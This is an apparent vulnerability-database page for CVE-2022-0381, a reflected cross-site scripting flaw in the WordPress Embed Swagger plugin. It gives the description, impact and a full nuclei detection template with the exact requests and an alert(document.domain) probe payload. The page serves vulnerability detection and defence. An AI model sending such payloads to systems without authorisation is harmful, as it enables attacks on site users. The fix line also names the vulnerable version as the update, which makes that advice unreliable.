HexBrain

Browse / CVEs / CVE-2022-0381

CVE-2022-0381· embed swagger project / embed swagger· CWE-79

WordPress Embed Swagger <=1.0.0 - Cross-Site Scripting

mediumseverity
6.1CVSS score
4%likelihood of exploitation, next 30 days
91%of all CVEs are less likely
Readycheck to confirm it

WordPress Embed Swagger plugin 1.0.0 and prior contains a reflected cross-site scripting vulnerability due to insufficient escaping/sanitization and validation via the url parameter found in the ~/swagger-iframe.php file, which allows attackers to inject arbitrary web scripts onto the page.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Update to the latest version of the WordPress Embed Swagger plugin (1.0.0) or apply a patch provided by the vendor.

How to confirm it

Send: GET /wp-content/plugins/embed-swagger/readme.txt
Positive when: contains "Embed Swagger" and "Tags:"
Send: GET {{BaseURL}}/wp-content/plugins/embed-swagger/swagger-iframe.php?url=xss://%22-alert(document.domain)-%22
Positive when: contains in header "text/html" AND contains "url: \"xss://\"-alert(document.domain)" AND status 200

Run it with nuclei: nuclei -id CVE-2022-0381 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2022-0381

info:
  name: WordPress Embed Swagger <=1.0.0 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
    WordPress Embed Swagger plugin 1.0.0 and prior contains a reflected cross-site scripting vulnerability due to insufficient escaping/sanitization and validation via the url parameter found in the ~/swagger-iframe.php file, which allows attackers to inject arbitrary web scripts onto the page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the WordPress Embed Swagger plugin (1.0.0) or apply a patch provided by the vendor.
  reference:
    - https://gist.github.com/Xib3rR4dAr/4b3ea7960914e23c3a875b973a5b37a3
    - https://www.wordfence.com/vulnerability-advisories/#CVE-2022-0381
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0381
    - https://plugins.trac.wordpress.org/browser/embed-swagger/trunk/swagger-iframe.php#L59
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0381
    cwe-id: CWE-79
    epss-score: 0.04011
    epss-percentile: 0.90645
    cpe: cpe:2.3:a:embed_swagger_project:embed_swagger:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "embed_swagger_project"
    product: "embed_swagger"
    framework: wordpress
  tags: cve,cve2022,swagger,xss,wordpress,embed_swagger_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/embed-swagger/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Embed Swagger'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/embed-swagger/swagger-iframe.php?url=xss://%22-alert(document.domain)-%22"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        part: body
        words:
          - "url: \"xss://\"-alert(document.domain)"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from